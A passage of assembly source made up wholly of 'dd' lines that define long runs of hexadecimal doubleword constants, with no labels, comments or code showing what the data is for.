		dd 8A01E3BAh, 0A0EB0111h, 759008FCh, 0A02B2527h, 0D5BD7B9Bh
		dd 64C1B740h, 0A9076A94h, 1F75CE31h, 7ACA5AE4h,	16A13BAAh
		dd 58AFF207h, 660CFC9Eh, 5BC1421Fh, 76F0D1D2h, 0EBC083C6h
		dd 0E395D3F7h, 8F8238BCh, 0E9139A48h, 0A29CC50Bh, 0E48C9F55h
		dd 5A681CF6h, 5ECE44BAh, 8430EC54h, 0E912176Eh,	0A40974B5h
		dd 863DDD28h, 0BDB59DFFh, 0EB7E0144h, 7EC7C7C9h, 6FE0A5D7h
		dd 8980DB1Ch, 7A5173C3h, 0D0C22CD9h, 7AA24071h,	64C17036h
		dd 22D15D27h, 0AE7AC52Ah, 0FC0DCA76h, 1C9096B9h, 3F47043h
		dd 51415DCh, 2085DBF7h,	0A6D81308h, 5802ECE5h, 0A87F1640h
		dd 6483E837h, 2D460628h, 0D8CB72CCh, 68991961h,	0D96E4A9Eh
		dd 0F091A51Dh, 90382084h, 2248A96h, 6447A30Bh, 212864B3h
		dd 4705BA21h, 0ADBD0B3Eh, 0C4AD0223h, 24829D39h, 0CD72E796h
		dd 5181BCE0h, 4A3FCA2Fh, 0E9C4FFE2h, 8758B026h,	2E0F75Ah
		dd 1242B620h, 10E0F950h, 0B44B953Fh, 0D65A6847h, 502615B3h
		dd 15FE00AEh, 5EB83EDAh, 72C22C07h, 7C1B52E9h, 0A34ABFFDh
		dd 344B7EA8h, 455B4E0Bh, 9F983F11h, 0EDC11E8Fh,	6060767h
		dd 0A1BE31B2h, 7D4C41B8h, 0AC23C243h, 0BE761FFh, 0DA0101A4h
		dd 0E2930536h, 0E1279371h, 1317E444h, 97F4AC27h, 6FADBAB8h
		dd 0F568852Ch, 54868909h, 78115C5Bh, 4C971C33h,	9CE97A01h
		dd 27350B90h, 214042E8h, 0E59D42ACh, 25862009h,	0FE59AD82h
		dd 0C901CE82h, 316A5D2Eh, 7A944EA9h, 2A2628B0h,	0F3921AF9h
		dd 1DEFC108h, 744C7988h, 0A77E8924h, 0B9E4AF22h, 2EE090Eh
		dd 2118F62h, 0B3DDC588h, 876CC8F0h, 3A595201h, 8EA5E90Dh
		dd 4872F42h, 0F7F41191h, 68152014h, 6D9170E4h, 0E1BAAEB1h
		dd 5121323Ah, 62F8D30Bh, 617AEA68h, 5AC8520h, 4F836A2Dh
		dd 0E4D1168Fh, 702FE983h, 493E1AE7h, 9F5530Ah, 0A71B1E6Bh
		dd 0A95A6459h, 0AB045732h, 0B8AAD0D9h, 553D68EAh, 1C6C1369h
		dd 2FCA43BCh, 510580BBh, 2936924Fh, 72DD028h, 6A685A0Bh
		dd 4FA5461Bh, 11C39144h, 1CC339C8h, 18FD2869h, 0EB9D4865h
		dd 8B1625DAh, 0B00939F4h, 0FA79F2A5h, 1A052623h, 85FB14C9h
		dd 822A0841h, 0E32F02CCh, 4FF2E9CBh, 0EBA3A553h, 40AD1127h
		dd 3E335BD8h, 77AF759Ah, 58B93F82h, 9A006042h, 864146BAh
		dd 99E91809h, 6ED056CAh, 0FA3F3454h, 0EE7904B5h, 723F348h
		dd 0F5F88850h, 0AFB3D5C9h, 49F7CB40h, 97578F97h, 0E918BDD2h
		dd 4F24FCBDh, 0BB7D53h,	816AF170h, 0F07450CBh, 720C6B60h
		dd 0C260F45Dh, 8044C8EAh, 6F493D69h, 0C603F7CAh, 67CC0172h
		dd 0EEF2FE9Bh, 170C088Ch
		dd 0B7A4616h, 0D9BCF394h, 0AF0624A4h, 32260ED1h, 6B813D2Eh
		dd 5300208Fh, 7347EC68h, 0E5BC5B7Eh, 0C384602Dh, 0CE690B01h
		dd 95D4890Fh, 3C226D08h, 0ACF88489h, 472F0871h,	4F2CAA47h
		dd 0B66B16F8h, 2F754CD5h, 1557F337h, 0F14ACEA2h, 308A7F73h
		dd 935AAE4Ch, 1EE414F6h, 0A3B53C97h, 0ED2CF001h, 3E3F2D2Ah
		dd 25E9CEDCh, 4D5B8D55h, 565BBA0Bh, 0F7E9627Dh,	0E64DA05Fh
		dd 7BDC2E88h, 80534B29h, 0C028B476h, 0FE07EC0Ch, 328004CCh
		dd 0F306DEF4h, 104D0A57h, 0CD292C30h, 33509759h, 0F3273AB6h
		dd 56A5BE27h, 14D20A89h, 54828A81h, 7690A385h, 138A4C4Ah
		dd 6B14582Dh, 0F94C2E25h, 0CF169C50h, 1EAA1FF1h, 0D7B1879Bh
		dd 0B35AA128h, 59CBD4CDh, 4CECE49Dh, 0C720D850h, 0A4C9093Eh
		dd 0F69398FDh, 5FE6DDB4h, 6FA59D8Bh, 4BA2F534h,	3148E90Dh
		dd 591720CFh, 0AB490A7Ah, 0B6B14AFCh, 0DD06E6CCh, 4F27BF06h
		dd 40BBEE07h, 297F7472h, 0CBC2D85Bh, 0A00A8E05h, 0C7104F8h
		dd 5C69F75Dh, 43B57062h, 919E6482h, 0A735E20Ah,	31CF00AEh
		dd 0E95A5B33h, 8CF48C5Ah, 63C80CE3h, 0B5A81A5Ch, 0D7B3730h
		dd 940B7D8h, 5BD90983h,	5CA79BD6h, 0F0BA01DCh, 3A6FA7CFh
		dd 0FA01288Dh, 0C407B571h, 0ABEFC5F2h, 0FC5EC649h, 8C4714Eh
		dd 0C5E95EF7h, 0F830BE77h, 306E95BBh, 747619F1h, 474A4A50h
		dd 0A6606EFCh, 2B20776Bh, 4E01E490h, 1587959h, 70FAE9D9h
		dd 40BF38D1h, 8100B83Fh, 22EECEEFh, 0F907293Dh,	8956505Fh
		dd 0A0AF58A9h, 9A595800h, 7C820A7h, 35BF5702h, 5D5B2B2Ah
		dd 9C99DC22h, 0F6F0A6C6h, 99B1EA49h, 5E6DE656h,	25E9EE82h
		dd 0FC88CFE8h, 4F90E6E4h, 2CD4D68Ah, 6059D88h, 61E8895Fh
		dd 1A5F5D7Ch, 85B82100h, 6B4C740Dh, 0AB70B431h,	5BD57813h
		dd 344FC805h, 0F9D104BEh, 41A89D20h, 3CC446F4h,	22D18071h
		dd 4B01303Eh, 0EA3C46F8h, 0D803B336h, 672D3705h, 346B9831h
		dd 7206605Bh, 45C443F0h, 0DE924C4h, 3952E5A0h, 0F41DFE88h
		dd 58E5495Ah, 512D2B45h, 52C833Bh, 4BF7E828h, 660E4596h
		dd 1735B652h, 3494AF04h, 8AD24EF8h, 0E8A910C1h,	0C293B45Bh
		dd 0E211DE64h, 1FF82CAFh, 72A6215Ah, 1D13BD18h,	0EDBACEE4h
		dd 6368CB6Eh, 95D654B0h, 2CACBCC0h, 729098EBh, 31F68120h
		dd 0CD46CD86h, 0B89245C6h, 81DC2956h, 792FE69h,	57E7281Fh
		dd 586650C7h, 0E92DCFFEh, 0B66CE183h, 1B79082Ah, 8A19FE25h
		dd 53A24320h, 2B5F4BDAh, 89A131EEh, 0B186D3DAh,	30D4B78Ah
		dd 0FE40BB12h, 7A92D68h, 474A4B79h, 5B028589h, 685BC03Ah
		dd 0CDBF6658h, 4B831088h, 0B55C3B28h, 6A598CB1h, 0F930ED45h
		dd 1166C481h, 19C1036Ch, 0F564AA1Fh, 20725CEh, 1142A6BAh
		dd 0E7C18A32h, 0EB069213h, 77D6A7A5h, 24BEF16h,	0E24AA88Ah
		dd 13B00248h, 0C60E39E9h, 5E03F0DFh, 3FED9DBAh,	51B8B480h
		dd 2FE9185Ch, 3BBD2293h, 8E5B6E38h, 2B08CD81h, 227549Ah
		dd 7B0D37FAh, 4BB382E0h, 0C264030h, 5AA85A42h, 21ADC2B0h
		dd 0F25E0355h, 9677833h, 48A732DFh, 0E2227809h,	0B1D5E589h
		dd 1635F74Dh, 8D91063Eh, 0F20B3F18h, 800F7AD2h,	6BC0EAE9h
		dd 0E67798D1h, 12EE9D5Ah, 62E529F3h, 0C892E909h, 2782B469h
		dd 7B78E320h, 0D02F98BCh, 6C080FECh, 1297390Bh,	48B98F89h
		dd 3E02859Ah, 0EBC824BEh, 16296A29h, 0DD4F98D6h, 4D1680B7h
		dd 16F0C581h, 0C4F7CCFCh, 68B14381h, 0F6F8570Fh, 0E0503CCFh
		dd 4A0BC6B7h, 5358F02h,	4FDDFE36h, 0BB2E7CE8h, 3FDD082Bh
		dd 5281BE00h, 0A04E5D41h, 306FBCD4h, 115E7C94h,	80E54922h
		dd 0CC077E0Ch, 0BD12E968h, 5B2D5A80h, 21F2CD71h, 4497609Dh
		dd 0BEF8B91Ch, 0ACE4522Eh, 0FBD8B949h, 0EF5A9074h, 97CE25FCh
		dd 56975A51h, 0EF003DFDh, 1D38EBDEh, 5F26F821h,	3709C6F7h
		dd 5C1AE289h, 39D959D3h, 12EA8428h, 428CDDAFh, 9FF69119h
		dd 0D977E349h, 5E021B38h, 278F1BD7h, 42825D32h,	0B4F855E9h
		dd 0F61FB10Dh, 0C76004D1h, 0D6D9EED0h, 64CB0204h, 0F9E1CB88h
		dd 2EA72E4Bh, 5DF72915h, 0BA3C87C4h, 0F71F0A9Ch, 14B3286Eh
		dd 1FBD1089h, 5E5CE35Eh, 5569948Ah, 0D52019EEh,	0DBF70FB0h
		dd 0F325E3D1h, 7941F42Ch, 5A972E5Fh, 52CD49D2h,	25290E0Bh
		dd 0FB89E533h, 94A84EF9h, 334C30B5h, 645C8006h,	0E19F3898h
		dd 0CA34B3F8h, 0CC085F77h, 1D174CE8h, 29016672h, 1AEB69C9h
		dd 5689723Ch, 0C633DF05h, 0D62D62BEh, 0FF55065Ah, 0A95B9D67h
		dd 5070B66Ah, 6B0245B8h, 4EE959C8h, 889818A2h, 751F4FDBh
		dd 6C926846h, 0B6C95AE8h, 0BEEFBC0Fh, 9F41880h,	0F296FE31h
		dd 0C231D3ADh, 0DC7B11D5h, 0F50C579Fh, 95210C40h, 36E7F602h
		dd 1DD95904h, 97D80BF0h, 4EDA8EBBh, 0FE2951E9h,	5A12460h
		dd 0F75C330Fh, 2118E9D9h, 356859AAh, 0EB2EE57h,	7CA3699Fh
		dd 0E51BEB29h, 864B1585h, 169AC3E4h, 0E43EFA62h, 434FC0D2h
		dd 64525222h, 85B27h, 66C3FEE9h, 7B4B4168h, 8350814Bh
		dd 4E2BE917h, 9E2C50D9h, 0C4C5818h, 0C60F7B52h,	5233FF54h
		dd 68A087ECh, 0C6B53F9Eh, 87CA2F89h, 396B46Eh, 1345A443h
		dd 8B38ECEDh, 5A0853DEh, 2439CBE0h, 368B2485h, 9B04FC04h
		dd 89FEB320h, 0DBE1C2BCh, 0C28000D6h, 4A9BF085h, 5A9D23C9h
		dd 0A7F89CC9h, 19DC4610h, 43669968h, 324FA423h,	8B4D020Bh
		dd 0C7F6C884h, 33762422h, 24E82611h, 0A9D26495h, 1D415D5h
		dd 0CBD69E6Eh, 564994D1h, 947158Ch, 8E3AC12Bh, 6A212952h
		dd 393AC43h, 6E4EEA81h,	0E2B06413h, 871D52B6h, 79CC142h
		dd 2403B1FFh, 6B202B1Ch, 7DCA9001h, 2612954Eh, 2839DD81h
		dd 31CB70F3h, 0C9A5365Ch, 3F750254h, 4F59F1EEh,	0AFDEBD8Bh
		dd 3062572Ch, 582D4020h, 0F0F37580h, 0CB7B1D8h,	0C1B5E6EAh
		dd 1A4FAE12h, 0FE7321E8h, 16F0552h, 0A85159C8h,	1DCCB0E5h
		dd 425740C4h, 0EDD5AEB7h, 0E3018184h, 0BF048CA4h, 0B747EF61h
		dd 0B4B1692h, 0AB5853BBh, 0AB03294Ah, 0D321D6C3h, 530C4F1Ah
		dd 2D55ECB6h, 0E4FE0B3Dh, 1D391694h, 0FAAE0B4Ah, 4F9F7FF8h
		dd 0EB52AFBDh, 5006790h, 566A0618h, 91DBA7E9h, 6A7A2D20h
		dd 4B036812h, 52007AE3h, 0C170E07Ch, 449005E6h,	0BDF3314Fh
		dd 3F3DF610h, 4732165Bh, 62521EE4h, 0D3F78469h,	85629140h
		dd 216F9916h, 4A3C2F82h, 0DB0DD00h, 42C92F14h, 43CD545Dh
		dd 2A278A19h, 51EF5458h, 379C3B80h, 0F8274114h,	0E1C39B26h
		dd 0CB34B6EEh, 78C8DA1Ch, 9BCFBD5Fh, 6035E909h,	1455BE28h
		dd 8132BA74h, 0FBC00425h, 9483CCAAh, 435A5BC2h,	64FDE070h
		dd 958EFEC2h, 0CB096329h, 182DC8DBh, 4B54E98Ch,	53662234h
		dd 8C16B861h, 0AB83321Dh, 56A938EBh, 1A5220A6h,	0CA965DA6h
		dd 2582E6B5h, 5A9E0A79h, 4BA55F57h, 94B59BA0h, 255E25B0h
		dd 0E59F992Ah, 0E9558492h, 5E2AFCCDh, 0CAF529C2h, 64FCDE57h
		dd 0CE3DC810h, 0CCEC824Bh, 85CC16CAh, 0F801ED80h, 20483885h
		dd 0B75300D5h, 5BFD3082h, 8072C5FEh, 0EC04AF16h, 2717F517h
		dd 6F681090h, 6DE6BD3Bh, 9CB78B74h, 0EF67A885h,	0ECE097Ch
		dd 215E9AE9h, 53F51925h, 0B4C8A2Fh, 94852EE9h, 0B273E5B1h
		dd 0C5E15E37h, 547A0821h, 530C79A5h, 0E4B6080Fh, 4E2A49E9h
		dd 944892F1h, 0DB8B47CFh, 790619Ch, 0C32900FDh,	6063F058h
		dd 0F7F37720h, 7F4EC732h, 453E4AF1h, 35437AD1h,	0D724AEDBh
		dd 1F2C8275h, 0CE309D5Bh
		dd 91225C3h, 57E576D8h,	615D0802h, 986E4A9Bh, 0A11C3E8Eh
		dd 0C2010533h, 0C301CC5Eh, 518BCE21h, 0B061E4C0h, 86066A80h
		dd 1B06BFC4h, 0DCE18877h, 27D7E292h, 0CA199BAFh, 226977FCh
		dd 1E9C22F4h, 2F563B59h, 0A25B2104h, 0CB5CBA00h, 59970B34h
		dd 3A973FD7h, 1085A6B3h, 0FE003FBBh, 80D2F6CAh,	0C02521F2h
		dd 0E9ED0E2h, 0D188512Bh, 5AE40153h, 7028E02Ch,	7B03B1ADh
		dd 0E9C0C9FEh, 1EC1AB06h, 9480070Ah, 2F27F546h,	0DCC9F77Ch
		dd 0E8275080h, 0F6EBCE9Dh, 81D5492Dh, 8D1864C5h, 41E02A53h
		dd 25010270h, 2BB7E963h, 1F89662Ah, 2F3F7107h, 32513409h
		dd 2542A8E8h, 5ABF008Ch, 700B986Ah, 256D7F7h, 7626010Eh
		dd 0BEDC2588h, 5004E90Bh, 31AD0237h, 19BC68D8h,	1B8B5F79h
		dd 0E9188257h, 185250C6h, 0F74B8868h, 0CB91FC03h, 2CBF654Fh
		dd 1A5EFA8h, 31088094h,	590600Ch, 1342B9E7h, 3947CF18h
		dd 0B3A25DEFh, 81B800B7h, 5804AB1Eh, 5568D0F7h,	801435ABh
		dd 45786B42h, 0D7BD7300h, 31F8BE3Fh, 845A5AD5h,	70950F67h
		dd 0EB33E524h, 4088150h, 47D96858h, 51173CA3h, 0C8723480h
		dd 0F1366C9h, 4DAAC8AFh, 31273EEBh, 0F0B5309Bh,	60A8284Ah
		dd 4188BD4Bh, 720CA70Bh, 0EC884A12h, 0B0CE442Eh, 0D8F61A02h
		dd 5CC0C8FEh, 92B808D9h, 3880C025h, 29321EB2h, 8503FF1h
		dd 0C5C09F87h, 531758EEh, 6BA0C65Dh, 8579B62Dh,	0A9F57BE9h
		dd 0BCD415FBh, 2B2051ADh, 0AED2F5F6h, 77209C29h, 427994D3h
		dd 0F724AAFAh, 0C790D0ABh, 0EE278B25h, 5DDB820Bh, 3C490F37h
		dd 12BDBED5h, 8A1039E9h, 7F8E1772h, 4251EAD7h, 5B607EABh
		dd 18866922h, 875BB223h, 6866A727h, 0BFA8427Eh,	68858945h
		dd 3D405BEAh, 212E85BDh, 0F5813946h, 0B8000D6Bh, 7EAD1D52h
		dd 25073890h, 3EA4780Dh, 222DD871h, 0EA0415E0h,	1C9013C4h
		dd 479CB180h, 0E77241ADh, 5EF1E455h, 0DBA2E9F8h, 0D0C0B0Ch
		dd 7BCE0212h, 0F65EE9FCh, 49076AECh, 0FC6A530Bh, 0E9A7C4FDh
		dd 55C11EA8h, 0E95ED9CFh, 0A777D9CDh, 232ECDF0h, 0FC09991Dh
		dd 70B056C9h, 4C7AFE52h, 5BE80150h, 0C35BD360h,	9895418Bh
		dd 83FFB244h, 0B91C4B08h, 3118606Bh, 0B404025Bh, 0A8CA3ABDh
		dd 4D9A6A2h, 0E2E9F9F6h, 878BEF29h, 7BB7ED18h, 40725DCDh
		dd 3BB02A5Eh, 0C11D4009h, 7408E530h, 361202C5h,	34156278h
		dd 7052320Ah, 360EDF4Ah, 0F0CAC953h, 3A6820E4h,	5825059h
		dd 46070BC6h, 74142F8h,	8B1AC6Ch, 0B95BB88h, 51C6399h
		dd 0F1E2CB90h, 50606883h, 0D03F3710h, 8DE2917h,	0FA25EBB3h
		dd 604FB120h, 491ECE68h, 0BE5A0D0Ch, 95310DCFh,	0E9F098C0h
		dd 0F31DD02Ch, 43824045h, 0E19A777Eh, 0CDA09276h, 0CE4D1E03h
		dd 8BB3530Bh, 0F152CAFEh, 708A499Eh, 223C0925h,	0D76AEDF4h
		dd 8FB1DD19h, 614276EAh, 55671D68h, 3AECE95Ch, 0DE34CE53h
		dd 21B4DDEEh, 7FDD1DFh,	767DA952h, 0B3062B5h, 25D66E5Dh
		dd 40D9204Fh, 0F2ED9D4Fh, 47BA1DDCh, 0EAC10773h, 0D2838B07h
		dd 31E94F41h, 55296ED7h, 5FA3916Ah, 0A30B8C55h,	3FF33818h
		dd 0C65E2279h, 0C704121Fh, 29E968A0h, 960039F1h, 9DCA88CFh
		dd 0BF205E96h, 0C5FE00DAh, 8006E5C0h, 0F5E60ECDh, 0EB28BB06h
		dd 0B731F3E9h, 9C8EB741h, 4A3EB306h, 0D7665DA4h, 8E6DC1B5h
		dd 4BCB3AAEh, 97B15F7Dh, 5CB9D0C5h, 23C0243Fh, 0E97D171Dh
		dd 27B29CDDh, 5F965F4Fh, 0DC05B50Fh, 560DA3C3h,	0E245C7CEh
		dd 0E0A1E0ECh, 0DE147DF1h, 0C5A18CD7h, 0BA2A0D2Fh, 0F97B31B5h
		dd 0BFE334E8h, 0FB76250Ah, 0A417A83Dh, 9F3117B6h, 7030ACCFh
		dd 1843F134h, 9E02064h,	27B6395Bh, 3C47133Fh, 8330E961h
		dd 16EBF92Dh, 7E782815h, 196401F5h, 0D889FA34h,	4490605Bh
		dd 596AA024h, 0D9DEFB02h, 2EE6C366h, 0A4AE5877h, 5BAD05E6h
		dd 0EEDF8103h, 6874C02Eh, 0F84B509Dh, 0E9BF138Fh, 12AAF992h
		dd 513A0C5h, 0D69DE004h, 39B44418h, 0C1348F03h,	3F4606E6h
		dd 9292574Ch, 56E091Bh,	0D1A74651h, 0E0D34283h,	0A20EC57h
		dd 34CB5F73h, 8CF30790h, 6C186FA0h, 0B61248BDh,	70A92916h
		dd 0D8093E05h, 7332F832h, 0C001FB6h, 0E9365225h, 1343BE90h
		dd 0C71532B8h, 5929B155h, 1B2B8835h, 0B40006E8h, 2D287427h
		dd 62EC666Eh, 14681B3Dh, 0BF4F47D2h, 0ABA53CC5h, 52205F6Eh
		dd 5F2083FEh, 3B95C9B1h, 0B04BEDB7h, 880D2D0Eh,	7567F039h
		dd 0A9D20705h, 0BD505030h, 7B78B002h, 68D616FFh, 2F7196Ch
		dd 0F992D2A5h, 0A9C0C25Dh, 605C3AFEh, 95E3821Dh, 0F7969279h
		dd 0B096F085h, 1A500F30h, 1BCB0514h, 0A2EF5190h, 767D1613h
		dd 71782601h, 0CB434B9Ch, 35F5801h, 65889A72h, 0BB529721h
		dd 80045200h, 3BC0BCCBh, 0EB0302E3h, 0D8885072h, 5B2DC195h
		dd 0B8123051h, 3CAAB053h, 0D5AC9855h, 0B75EF29Fh, 9A955B9Eh
		dd 87D860EBh, 2F752447h, 444A0507h, 17F7B80Bh, 2A814906h
		dd 0AF14F6A0h, 77FEB792h, 0ABB00540h, 2DD9C695h, 0B8733E3Ah
		dd 277DD208h, 1AA4860h,	4D801495h, 31195949h, 2B1044C8h
		dd 0E7DFF58Ch, 0D7B1875h, 0F445A846h, 0F9822556h, 0BF5492F7h
		dd 0E9588D01h, 47481EB6h, 494C2768h, 0BD0857F3h, 665805C3h
		dd 3CC00A52h, 0E5071CBDh, 280DC3DEh, 243A23DCh,	3B3B89CCh
		dd 691EE2E0h, 0DF5234h,	790603E2h, 77EAEC3Ch, 26097DFEh
		dd 0A58F66E9h, 86043489h, 0C4BBBCD6h, 8907E160h, 399BF2D1h
		dd 0D9FEBBF5h, 0A32F7F2Fh, 2F74489Fh, 42C2F132h, 1C4F2BAh
		dd 3905B113h, 0F6D11113h, 66053B35h, 1B254C0Dh,	4BDADABBh
		dd 1AA3ACE0h, 0D5147CA8h, 4D2E9D95h, 942FD020h,	6BA4D162h
		dd 5917DB00h, 1760A4Dh,	8A2EDF0h, 89AFBEC5h, 0D1845E72h
		dd 0C43A6C5Dh, 0DAF03CD2h, 0C179407Ah, 0C0B541B0h, 865EBDDAh
		dd 0F0C0E926h, 3F213395h, 8A594420h, 0AD51ED7Dh, 0C7C28D42h
		dd 478FA583h, 0D701ECE5h, 36460ECh, 0DA82FA5Fh,	0C2727E52h
		dd 54E53231h, 0C2ADE98Bh, 3F91B19Ch, 0B25B316Ch, 572CC974h
		dd 8249AC33h, 2E4A2E1Ch, 870F9648h, 647849E9h, 4EC8F0FDh
		dd 3E5B40D2h, 0BF33A87Ch, 0AF32C93Bh, 819FE078h, 0E6CD3EF7h
		dd 92FAF325h, 4CA22920h, 0F6390808h, 49C7809Fh,	546FE30h
		dd 9A97F0F0h, 69A6167h,	860C376Eh, 52EC83FDh, 0DC9B8997h
		dd 24B45B58h, 0B604B6B8h, 808C609Eh, 322BE27Dh,	48E3164Ch
		dd 5B0840BFh, 0B44EE5BDh, 0CDD4BB14h, 271ECA80h, 0F6F0E305h
		dd 675318E7h, 57660C3Eh, 586CDE2Dh, 7CCCFF85h, 0EFB00083h
		dd 1EB1B850h, 50108A4h,	19F25ADCh, 9724CCE9h, 11BCAA59h
		dd 541230BBh, 0C6E780FFh, 0FA68800Bh, 280FBC41h, 30442D18h
		dd 6652D711h, 0EA587A47h, 51052596h, 15163C8Ah,	499E21ABh
		dd 0C2800089h, 80E2904Eh, 98FACDCAh, 0DFDE5CE0h, 6BCE09A1h
		dd 18C6992Ch, 0DE90345h, 624C613Ah, 0A78C1AF5h,	0B78941DDh
		dd 83763643h, 0AEEAABCAh, 8EE9B71Ch, 0CA302B87h, 275375B2h
		dd 0A776F7B7h, 2216A5BFh, 55181CEBh, 2809F2E5h,	0C4467CB0h
		dd 0D4872319h, 87F50105h, 0E3698126h, 3203F421h, 823DA0BFh
		dd 973BC636h, 17768522h, 0BC644276h, 0E22BAEF1h, 6B9D7B8h
		dd 69E23C4h, 9725657h, 394A73BBh, 2A228D80h, 5A95232Fh
		dd 0BA1769Bh, 9E96DBFh,	58544C90h, 1F526817h, 3B01658Dh
		dd 0D5F8BC05h, 72DB864h, 9B685551h, 0AF1CA413h,	7EDA7F00h
		dd 2DF71785h, 176045DDh
		dd 8F275340h, 0A6AD4089h, 0B85DD72Dh, 7DB404CAh, 574245E8h
		dd 0C05D9861h, 4608D6Dh, 9DE91E8Eh, 0CFB901AAh,	0BF68CB2Eh
		dd 0F107BC48h, 0C8BA418h, 3E12B26Ch, 50BB0EFAh,	5928089Fh
		dd 0EC0C20FAh, 88D4F609h, 178375E2h, 5D05966Ah,	124324B4h
		dd 0D61D1D80h, 0A9F450ACh, 6BD6B6F7h, 1E509DD4h, 63E69AB1h
		dd 0F1E294EAh, 0BB8F66D2h, 0C68AE836h, 2035140Eh, 8980996Dh
		dd 5E81070Bh, 125ACE6Eh, 0B4B6BFh, 0CE7B8376h, 81409E4Fh
		dd 0DCE2A51h, 0AAF35101h, 0DAF80804h, 5CC35860h, 90169718h
		dd 358113E9h, 3330EF01h, 0D2723793h, 7D5469BAh,	0CBE856A5h
		dd 91BC99E8h, 0E9D8DA96h, 1469C0Ah, 51CF02Dh, 0D5287F58h
		dd 0D680550h, 41DAE0Eh,	13F3D9C1h, 50015F0Dh, 70484A32h
		dd 8EB26301h, 807BE9A6h, 80BF5741h, 90195D78h, 60F40AA0h
		dd 29F34B3h, 1B666F1Ch,	10034043h, 785872C0h, 11808C4Dh
		dd 0B3EA2ADh, 5DEF2928h, 53EB8B80h, 10906B2Fh, 0DFFC154Bh
		dd 84E4578Bh, 6B12D3BEh, 2BBD9E0h, 19CA3914h, 6DC2DA29h
		dd 1AB53750h, 0D954292h, 0A32E4006h, 42A19DA0h,	6C7FF801h
		dd 2D6320F6h, 0DE9B2290h, 0E9843D2Ch, 56B9BEF6h, 7087B540h
		dd 0A1494E3Fh, 590702F5h, 310AE955h, 0ED580178h, 1185A2Ch
		dd 834516Ah, 0BF88E601h, 0FE0C3308h, 5A690BD8h,	421E6B5h
		dd 0E9E1F766h, 5FD9D2DFh, 557C855Fh, 0E4EDCE0Eh, 0E3BC65ACh
		dd 13E313C4h, 88DF64BFh, 0F84A9B5Bh, 4C80BF4Eh,	9FD30665h
		dd 0B353B218h, 0DD88740Fh, 12C5E05Bh, 25E9D5F6h, 7171F794h
		dd 7F17A1A4h, 0D9F497B1h, 0D3D1E587h, 13ED08A8h, 4B76167h
		dd 1D1B20EEh, 1645CD94h, 0A3ECED9Eh, 2B94BD81h,	0EFF0C672h
		dd 16F8014Fh, 1ECFE9B0h, 2D680AC3h, 4D151062h, 30BE510Bh
		dd 2C7B93C3h, 6EB7F275h, 4973F6A7h, 5025EC74h, 0BEEC451Bh
		dd 7CA0C553h, 20DC412Eh, 0A14FA70Bh, 47186AB6h,	0F9887D10h
		dd 3C891DC8h, 0ACA13B92h, 2901CB00h, 131C5D4Dh,	184669Dh
		dd 135C20D9h, 8B7CE5E9h, 0F104EB45h, 0A70E4A0Bh, 0E94149E5h
		dd 907AE1FBh, 0C3274F3Ah, 3AD66151h, 0ECAC9888h, 0D2064E8Bh
		dd 0BC965B21h, 0FC5B8A82h, 27E70E08h, 5697774Dh, 1DB74741h
		dd 6E28F728h, 5BF803A7h, 86E9D880h, 313B02B7h, 3D497DC3h
		dd 804E2873h, 0B12B8FB9h, 0E67D9026h, 0B55BE23Eh, 0E97DE65Ah
		dd 4EB3694Ch, 2743F1B0h, 29DC18B2h, 589F08A0h, 97FB9529h
		dd 8845F9A5h, 712CE05Dh, 81C9B50Dh, 6E0F822Fh, 0F11C6875h
		dd 0E6514A50h, 0C5D2DEC9h, 43242DFAh, 6330B999h, 4B478081h
		dd 0B85BF8Dh, 610712F3h, 6BD8214Dh, 12E34821h, 0E90B1E27h
		dd 0D5EE1AC0h, 41F8CA1h, 13E55080h, 0C7944861h,	81735E2Ch
		dd 0A015F9BDh, 0DF4CE806h, 66A7EE91h, 5FB801E7h, 0E9205552h
		dd 2E053AE0h, 0DC0BDA88h, 821C55D3h, 9492574Bh,	1F487FEFh
		dd 0A25685Dh, 0C031FC70h, 551B0766h, 0C83CE918h, 1A41C535h
		dd 0AE059E38h, 0B16E93D7h, 0E99325E4h, 766BFDC3h, 767EB04h
		dd 2CF9485Fh, 27E90840h, 9119D37Ch, 7528E953h, 92B23B09h
		dd 0A1725AE1h, 0F5C0F42Eh, 0B695E951h, 45F02D5Ah, 3D42B441h
		dd 21505959h, 0BD5BA7CCh, 1A24D508h, 1E74EA29h,	75304526h
		dd 0E04532Ch, 58C7282Bh, 0F8AF98EEh, 10ED243Dh,	0A95D2794h
		dd 9FAC4672h, 26CC4828h, 77687083h, 0A7BC7C4Bh,	0C896E9F0h
		dd 5140E49Eh, 1D5C7B68h, 8959059Bh, 195769BBh, 0FBD0D616h
		dd 2FE91778h, 315C2984h, 40DD7005h, 0E2E72D2Fh,	0AE615F77h
		dd 48EC7912h, 9A210982h, 9DFF467h, 0C782101Fh, 57F159CEh
		dd 622BFC69h, 95ED5E54h, 79A7289Ch, 1F6F2609h, 0FBA0D390h
		dd 5B13191Dh, 79D7B909h, 2F1C71EDh, 144B9D54h, 5AB62767h
		dd 2B1BE9A7h, 79B851EBh, 674E865Ch, 42C39AC0h, 0E983214h
		dd 0ECC7496h, 68180797h, 30BE5C15h, 4079A977h, 0E91064D8h
		dd 38C563DCh, 82945604h, 97D4B374h, 5100EC26h, 0B25286B1h
		dd 0CAFE1C85h, 0C1AD9C80h, 83E91FEAh, 0F77597CDh, 40E8FEB4h
		dd 0E700B770h, 285BFC88h, 388058E6h, 0F13A65C1h, 5ABCE9BAh
		dd 0C4B34BF6h, 7F7FB981h, 72A1AE5Ah, 0BB64B7EDh, 0F5FD5801h
		dd 0CA8DD79Eh, 0B3D1916h, 7F93A90Bh, 0C50409B4h, 76029162h
		dd 8003CE79h, 88D60EF7h, 0F46E50FEh, 0E733E5A9h, 77C06F16h
		dd 94E7A48Ch, 2DD3237Ah, 51C63059h, 5675566Eh, 2C28304h
		dd 0B3DDEA52h, 58EBD674h, 0C1C1F9EDh, 0D0310BE8h, 774DAD68h
		dd 45DD8F18h, 5FA31F59h, 0E1BDA85Bh, 8B2B5453h,	1EDB5F5Bh
		dd 6212906Ah, 0AA08726Bh, 90064808h, 0CCBA140Ch, 0FC58CB8Ah
		dd 0F1685034h, 0D9EC5D4Fh, 176BC3E0h, 14BCA72h,	805E2A1h
		dd 94E966BEh, 9D7995BFh, 807E20C6h, 74D31248h, 74B2D3F6h
		dd 40954297h, 0EE1586A1h, 114C3D2Dh, 9BC8299Fh,	784B0E05h
		dd 0AD4F249Bh, 6EE51288h, 50DF7C09h, 4CED05F9h,	523155E9h
		dd 0DBFA0948h, 0FF6687ABh, 25DEA24h, 0D6B62B69h, 27A622BDh
		dd 0FC7EEE81h, 0D0EF0CB4h, 42055F08h, 775F4077h, 41131EA0h
